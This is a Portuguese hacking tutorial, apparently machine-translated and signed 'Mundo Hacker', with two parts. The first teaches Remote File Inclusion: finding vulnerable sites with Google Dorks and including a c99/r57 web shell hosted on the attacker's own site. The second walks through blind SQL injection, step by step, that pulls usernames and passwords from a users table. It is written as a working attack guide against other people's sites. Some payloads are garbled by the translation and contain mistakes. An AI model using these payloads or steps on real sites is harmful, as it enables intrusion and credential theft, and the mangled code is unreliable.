Hacker site usando RFI -&& Tutorial SQL Injection
O que é RFI ( Remote File Inclusion )
Remote File Inclusion (RFI) é um tipo de vulnerabilidade mais freqüentemente encontrados em sites. Ele permite que um atacante para incluir um arquivo remoto, geralmente através de um script no servidor web. A vulnerabilidade ocorre devido ao uso de entrada fornecido pelo usuário , sem a devida validação . Isto pode levar a algo tão mínima quanto a saída do conteúdo do ficheiro, mas , dependendo da gravidade , para uma lista de alguns pode levar a :
* A execução de código no servidor web
* A execução de código no lado do cliente , tais como JavaScript , que pode levar a outros ataques , tais como cross site scripting ( XSS) .
* Denial of Service ( DoS)
* Roubo de dados / ManipulationRFI é uma vulnerabilidade muito incomum devido a correções excessivas e atualizações em sites.
S0 aqui vamos nós me____ _follow ! !
Encontrar um site vulnerável usando o Google Dorks e Verificação de vulnerabilidade
Aqui i forneceu um link para encontrar sites vulneráveis utilizando o Google Dorks Para RFI
Agora, para testar se o nosso site é vulnerável a RFI ou não vamos uss o seguinte comando
* www.targetsite.com/index.php?page=www.google.com *
Suponha que o nosso site é alvo * www.aabbcc.com * . Assim, para verificar a nossa url será algo como Diz
* www.aabbcc.com/v2/index.php?page=http://www.google.com *
Se depois de executar o comando a página inicial do google mostra -se , em seguida, em seguida, o site é vulnerável a este ataque se não chegar , então o site não é vulnerável a RFI .
A exploração da vulnerabilidade
Para isso você terá que carregar o seu shell
Você vai precisar fazer upload de sua concha em formato . Txt ( shell.txt ) em vez do formato php . ( Shell.php ) . Eu recomendo que você use c99 , r57 , Locus , etc
Você terá que enviá-lo para qualquer site de hospedagem .
Então, depois de ter carregado o shell para o seu site , ele deve ficar assim .
http://www.oursite.com/shell.txt
Agora vem a adição do nosso shell para o site vítimas
Ok, uma vez que estamos na página vulnerável (* www.aabbcc.com/v2/index.php?page=http://www.google.com *)
teremos que substituir * " http://www.google.com **" * e incluir o nosso próprio arquivo ( no meu lugar o seu
(* www.oursite.com / shell.txt *)
Nosso novo link deve ficar assim .
* www.aabbcc.com/v2/index.php?page = ** www.oursite.com / shell.txt *
* NOTA -> * O ponto de interrogação (?) É importante. Se o site estava vulnerável agora você deve ver o seu shell incorporado para a página. Você pode, então, fazer o que quiser com ele. Às vezes " shell.txt ? " Pode não ser o suficiente, talvez seja necessário usar bytes nulos para que ele execute com sucesso. Se você receber um erro de " shell.txt ? " Tentar " shell.txt ? " .
** Ok, então nós carregado nosso shell com sucesso no site de destino e eu acho que todos vocês sabem que tudo o que você pode fazer depois de fazer o upload para o shell Sorriso local
Fonte : Madleets
---------------------------------
Eu vou estar usando o nosso exemplo
http://www.site.com/news.php?id=5
quando executarmos isso, vemos algumas páginas e artigos na página, fotos etc ...
depois, quando queremos testá-lo para cegos ataque de injeção SQL
http://www.site.com/news.php?id=5 e 1 = 1 < - este é sempre verdadeira
ea página carrega normalmente , isso é ok.
agora o verdadeiro teste
http://www.site.com/news.php?id=5 e 1 = 2 <- isso é falso
por isso, se algum texto, imagem ou algum conteúdo está faltando na página voltou depois que o site é vulrnable a injeção cego sql .
1 ) Obter a versão do MySQL
para obter a versão em ataque cego usamos substring
isto é
http://www.site.com/news.php?id=5 e substring ( @ @ version , 1,1) = 4
este deve retornar TRUE se a versão do MySQL é 4.
substituir 4 com 5, e se a consulta retornar TRUE então a versão é 5.
isto é
http://www.site.com/news.php?id=5 e substring ( @ @ version , 1,1) = 5
2) Teste se subselect funciona
quando select não funcionam, então usamos subselect
isto é
http://www.site.com/news.php?id=5 e (select 1) = 1
se carrega a página normalmente , em seguida, subselects trabalho.
então vamos ver se temos acesso a mysql.user
isto é
http://www.site.com/news.php?id=5 e (selecione uma das mysql.user limite de 0,1) = 1
se carrega a página normalmente temos acesso a mysql.user e depois podemos tirar alguma senha usign load_file () função e OUTFILE .
3). Confira os nomes de tabelas e colunas
Esta é a parte em que adivinhar é o melhor amigo de Sorriso
ou seja,
http://www.site.com/news.php?id=5 e (selecione um dos usuários limite de 0,1) = 1 ( com limite de 0,1 nossa consulta aqui retorna uma linha de dados , causa subselect retorna apenas 1 linha, isto é muito importante . )
em seguida, se a página carrega normalmente, sem conteúdo ausente , os usuários de mesa saídas.
se você conseguir FALSE ( algum artigo em falta) , basta alterar o nome da tabela até acho que o caminho certo Sorriso
digamos que descobrimos que o nome da tabela é que os usuários , agora o que precisamos é o nome da coluna.
o mesmo nome da tabela , começamos adivinhação. Como eu disse antes de tentar os nomes comuns para as colunas .
isto é
http://www.site.com/news.php?id=5 e (select substring ( concat ( 1 , password ), 1,1 ) de usuários limite de 0,1) = 1
se a página carrega normalmente sabemos que nome da coluna é a senha ( se conseguirmos falso tente nomes comuns ou apenas acho)
aqui nós fundir um com a senha coluna, substring retorna o primeiro caractere ( , 1,1)
4). Extrair dados do banco de dados
encontramos usuários Quadro I colunas usuário senha por isso vai puxar caracteres a partir daí.
http://www.site.com/news.php?id=5 e ascii ( substring ( (SELECIONAR concat (username , 0x3a , password ) de usuários limite de 0,1) , 1,1)) > 80
ok isso aqui puxa o primeiro caractere da primeira usuário na tabela de usuários .
substring aqui retorna primeiro caractere e um caractere de comprimento . ascii () que converte um caractere em valor ascii
e , em seguida, compará-lo com maior simbol , então > .
por isso, se o caractere maior que 80 , a página é carregada ascii normalmente. (VERDADEIRO)
que continuar tentando até chegarmos falsa .
http://www.site.com/news.php?id=5 e ascii ( substring ( (SELECIONAR concat (username , 0x3a , password ) de usuários limite de 0,1) , 1,1)) > 95
obtemos TRUE, manter incrementando
http://www.site.com/news.php?id=5 e ascii ( substring ( (SELECIONAR concat (username , 0x3a , password ) de usuários limite de 0,1) , 1,1)) > 98
VERDADEIRO novamente , maior
http://www.site.com/news.php?id=5 e ascii ( substring ( (SELECIONAR concat (username , 0x3a , password ) de usuários limite de 0,1) , 1,1)) > 99
FALSO !
Assim, o primeiro personagem em nome do usuário é char ( 99) . Usando o conversor de ascii sabemos que char ( 99) é a letra 'c'.
então vamos ver o segundo personagem .
http://www.site.com/news.php?id=5 e ascii ( substring ( (SELECIONAR concat (username , 0x3a , password ) de usuários limite de 0,1) , 2,1) ) > 99
Note que eu estou mudado, para 1,1 , 2,1 para obter o segundo personagem. ( agora ele retorna o segundo personagem , um personagem de tamanho)
http://www.site.com/news.php?id=5 e ascii ( substring ( (SELECIONAR concat (username , 0x3a , password ) de usuários limite de 0,1) , 1,1)) > 99
TRUE, a página carrega normalmente , mais elevados.
http://www.site.com/news.php?id=5 e ascii ( substring ( (SELECIONAR concat (username , 0x3a , password ) de usuários limite de 0,1) , 1,1)) > 107
FALSE , menor número .
http://www.site.com/news.php?id=5 e ascii ( substring ( (SELECIONAR concat (username , 0x3a , password ) de usuários limite de 0,1) , 1,1)) > 104
TRUE, superior.
http://www.site.com/news.php?id=5 e ascii ( substring ( (SELECIONAR concat (username , 0x3a , password ) de usuários limite de 0,1) , 1,1)) > 105
FALSO !
sabemos que o segundo personagem é char ( 105 ), e que é 'i' . Temos ' ci ' até agora
de modo a manter incrementando até chegar ao fim. (quando a > 0 retorna false sabemos que temos chegar ao final ) .
Existem algumas ferramentas para Blind SQL Injection , eu acho que SqlMap é o melhor, mas estou fazendo tudo manualmente ,
USE A SUA MELHOR TECNICA E ESCOHA DE SQL INJECTOR .
[ BY: MUNDO HACKER ]